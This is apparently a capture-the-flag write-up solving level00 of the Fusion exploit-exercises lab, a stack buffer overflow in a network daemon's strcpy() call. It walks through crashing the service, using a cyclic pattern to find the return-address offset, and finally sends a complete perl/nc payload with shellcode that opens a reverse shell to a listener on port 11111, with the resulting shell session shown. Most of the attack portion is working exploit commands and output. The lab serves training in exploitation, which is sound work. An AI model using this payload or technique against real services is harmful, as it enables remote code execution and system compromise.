Introduction
Fusion exploits are a cool bunch of ctf type challenges that focus on Linux binary exploits that progressively get harder. An ISO containing the OS and challenges can be downloaded from the main site.
The website with all challenge information and downloads is at https://exploit-exercises.com/fusion/
Fusion is the next step from the protostar setup, and covers more advanced styles of exploitation, and covers a variety of anti-exploitation mechanisms such as:
Address Space Layout Randomisation
Position Independent Executables
Non-executable Memory
Source Code Fortification (_DFORTIFY_SOURCE=)
Stack Smashing Protection (ProPolice / SSP)
In addition to the above, there are a variety of other challenges and things to explore, such as:
- Cryptographic issues
- Timing attacks
- Variety of network protocols (such as Protocol Buffers and Sun RPC)
Challenge
Test run
Level 00 is a network daemon that listens on port 20000. The iso image automatically starts the daemon for us. If we list the running processes we should see it.
fusion@fusion:~$ ps ax |grep level00
1417 ? Ss 0:00 /opt/fusion/bin/level00
...
fusion@fusion:~$ sudo netstat -nap|grep level00
[sudo] password for fusion:
tcp 0 0 0.0.0.0:20000 0.0.0.0:* LISTEN 1417/level00
fusion@fusion:~$ perl -e 'print "GET / HTTP/1.1"'| nc localhost 20000
[debug] buffer is at 0xbffff8f8 :-)
trying to access /
Sending the the string “GET / HTTP/1.1” successfully invokes the vulnerable fix_path() call.
Exploit
Challenge hint ‘Storing your shellcode inside of the fix_path ‘resolved’ buffer might be a bad idea due to character restrictions due to realpath(). Instead, there is plenty of room after the HTTP/1.1 that you can use that will be ideal (and much larger).”
Challenge source code.
#include "../common/common.c" int fix_path(char *path) { char resolved[128]; if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open strcpy(path, resolved); } char *parse_http_request() { char buffer[1024]; char *path; char *q; printf("[debug] buffer is at 0x%08x :-)\n", buffer); if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host"); if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request"); path = &buffer[4]; q = strchr(path, ' '); if(! q) errx(0, "No protocol version specified"); *q++ = 0; if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol"); fix_path(path); printf("trying to access %s\n", path); return path; } int main(int argc, char **argv, char **envp) { int fd; char *p; background_process(NAME, UID, GID); fd = serve_forever(PORT); set_io(fd); parse_http_request(); }
These are the steps we’ll take to getting a successful exploit working.
- Trigger the vulnerability to confirm the basic mechanics
- Customize payload to trigger vulnerability and pass control to some point in payload
- Place reverse bind shellcode into payload
From the source code above we can determine that the read() input ‘buffer’ cannot be more that 1024 bytes in size.
Let’s invoke the vulnerability with a payload size of 1010 bytes, that’s 1024 – 14 (the GET command).
fusion@fusion:~$ perl -e 'print "GET /" ."A"x1010 . " HTTP/1.1"'| nc localhost 20000 [debug] buffer is at 0xbffff8f8 :-) usion@fusion:~$ ls /tmp/ -la total 0 drwxrwxrwt 4 root root 80 2015-09-21 13:17 . drwxr-xr-x 1 root root 240 2015-09-21 03:18 .. drwxrwxrwt 2 root root 40 2015-09-21 03:18 .ICE-unix drwxrwxrwt 2 root root 40 2015-09-21 03:18 .X11-unix
Hmmm, doesn’t seem to have triggered a segfault and no core dump file.
Let’s check how core dump is configured.
fusion@fusion:~$ ulimit -a
core file size (blocks, -c) 0
data seg size (kbytes, -d) unlimited
scheduling priority (-e) 0
file size (blocks, -f) unlimited
pending signals (-i) 31627
max locked memory (kbytes, -l) 64
max memory size (kbytes, -m) unlimited
open files (-n) 1024
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) 31627
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited
fusion@fusion:~$ cat /proc/sys/kernel/core_pattern
|/usr/share/apport/apport %p %s %c
Appears core dumps have not been enabled.
Let’s enable them.
fusion@fusion:~$ su -c 'ulimit -c unlimited' root Password: fusion@fusion:~$ ulimit -a core file size (blocks, -c) unlimited data seg size (kbytes, -d) unlimited scheduling priority (-e) 0 file size (blocks, -f) unlimited pending signals (-i) 31627 max locked memory (kbytes, -l) 64 max memory size (kbytes, -m) unlimited open files (-n) 1024 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) 819200 real-time priority (-r) 0 stack size (kbytes, -s) 8192 cpu time (seconds, -t) unlimited max user processes (-u) 31627 virtual memory (kbytes, -v) unlimited file locks (-x) unlimited fusion@fusion:~$ su -c 'echo "/tmp/cores/core.%e.%p.%h.%t" > /proc/sys/kernel/core_pattern' Password: fusion@fusion:~$ cat /proc/sys/kernel/core_pattern /tmp/cores/core.%e.%p.%h.%t fusion@fusion:~$ mkdir /tmp/cores fusion@fusion:~$ sudo chown root:root /tmp/cores
Good so far.
Let’s try to get a core dump once again.
fusion@fusion:~$ perl -e 'print "GET /" ."A"x1010 . " HTTP/1.1"'| nc localhost 20000 [debug] buffer is at 0xbffff8f8 :-) fusion@fusion:~$ ls /tmp/cores/ core.level00.3499.fusion.1442812783
Excellent.
Let’s quickly examine the core file.
fusion@fusion:~$ gdb --core /tmp/cores/core.level00.3499.fusion.1442812783 /opt/fusion/bin/level00 -q
Reading symbols from /opt/fusion/bin/level00...done.
[New LWP 3499]
warning: Can't read pathname for load map: Input/output error.
Core was generated by `/opt/fusion/bin/level00'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) i r
eax 0x1 1
ecx 0xb7e568d0 -1209702192
edx 0xbffffc43 -1073742781
ebx 0xb7fceff4 -1208160268
esp 0xbffff8e0 0xbffff8e0
ebp 0x41414141 0x41414141
esi 0xbffffcf8 -1073742600
edi 0x8049f05 134520581
eip 0x41414141 0x41414141
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
It worked!
EIP contains characters from our payload.
A small detail is missing, the actual vulnerable function call is strcpy() in fix_path(). The strcpy() call can be overflowed with any buffer over 128 bytes, so although we have submitted 1024 bytes, anything after 128 will be sufficient and the rest is space for us to play with.
Let’s generate a unique pattern string to use in our payload which will allow us to find exact how many bytes within our payload EIP gets overwritten.
I’m going to use a Python script pattern generator created by Sven Steinbauer.
fusion@fusion:~$ git clone https://github.com/Svenito/exploit-pattern.git Cloning into exploit-pattern... remote: Counting objects: 31, done. remote: Total 31 (delta 0), reused 0 (delta 0), pack-reused 31 Unpacking objects: 100% (31/31), done. fusion@fusion:~/exploit-pattern$ python pattern.py 1010 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh fusion@fusion:~/exploit-pattern$ perl -e 'print "GET /" ."Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh" . " HTTP/1.1"'| nc localhost 20000 [debug] buffer is at 0xbffff8f8 :-) fusion@fusion:~/exploit-pattern$ ls -la /tmp/cores/ total 456 drwxrwxr-x 2 root fusion 160 2015-09-21 15:49 . drwxrwxrwt 5 root root 100 2015-09-21 15:17 .. ... -rw------- 1 root 20000 196608 2015-09-21 15:49 core.level00.3861.fusion.1442814542
Let’s examine the new core file and look at the bytes contained in EIP.
fusion@fusion:~/exploit-pattern$ gdb --core /tmp/cores/core.level00.3861.fusion.1442814542 -q [New LWP 3861] Core was generated by `/opt/fusion/bin/level00'. Program terminated with signal 11, Segmentation fault. #0 0x65413665 in ?? () (gdb) print $eip $1 = (void (*)()) 0x65413665 (gdb) q fusion@fusion:~/exploit-pattern$ echo '0x65364165' | xxd -r e6Ae
Let’s search for the pattern e6Ae (reverse byte order).
fusion@fusion:~/exploit-pattern$ python pattern.py e6Ae
Pattern e6Ae first occurrence at position 139 in pattern.
Let’s adjust our payload to overwrite EIP with 4 ‘B’s
fusion@fusion:~/exploit-pattern$ perl -e 'print "GET /" ."A"x139 . "BBBB HTTP/1.1"'| nc localhost 20000
[debug] buffer is at 0xbffff8f8 :-)
fusion@fusion:~/exploit-pattern$ gdb --core /tmp/cores/core.level00.4 -q
fusion@fusion:~/exploit-pattern$ gdb --core /tmp/cores/core.level00.4122.fusion.1442816542 -q
[New LWP 4122]
Core was generated by `/opt/fusion/bin/level00'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) i r eip
eip 0x42424242 0x42424242
Our final shellcode will be 67 bytes long.
I will mark the shellcode space in the payload with ‘C’s and use this to help identify where our EIP should point to.
fusion@fusion:~/exploit-pattern$ perl -e 'print "GET /" ."A"x139 . "BBBB HTTP/1.1" . "C"x80'| nc localhost 20000
[debug] buffer is at 0xbffff8f8 :-)
fusion@fusion:~/exploit-pattern$ gdb --core /tmp/cores/core.level00.4520.fusion.1442820996 -q
[New LWP 4520]
Core was generated by `/opt/fusion/bin/level00'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) x /32xb 0xbffff8f8+133
0xbffff97d: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff985: 0x41 0x41 0x41 0x42 0x42 0x42 0x42 0x00
0xbffff98d: 0x48 0x54 0x54 0x50 0x2f 0x31 0x2e 0x31
0xbffff995: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
Looks like we should point EIP to the memory location 0xbffff995
Let’s insert our real shellcode into the payload now.
Reverse bind shellcode taken from here http://shell-storm.org/shellcode/files/shellcode-838.php
Shell will connect back to listening socket on port ‘11111’.
Start our listening socket
fusion@fusion:~$ nc -vvvl 11111
Send payload.
fusion@fusion:~/exploit-pattern$ perl -e 'print "GET /" ."A"x139 . "\x95\xf9\xff\xbf" ." HTTP/1.1" . "\x90"x7 . "\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a\x02\x89\xe1\xcd\x80\x59\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x2b\x67\x66\x6a\x02\x89\xe1\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"'| nc localhost 20000
[debug] buffer is at 0xbffff8f8 :-)
fusion@fusion:~$ nc -vvvl 11111 Connection from 127.0.0.1 port 11111 [tcp/*] accepted ls bin boot cdrom dev etc home initrd.img initrd.img.old lib media mnt opt proc rofs root run sbin selinux srv sys tmp usr var vmlinuz vmlinuz.old id uid=20000 gid=20000 groups=20000
Thank you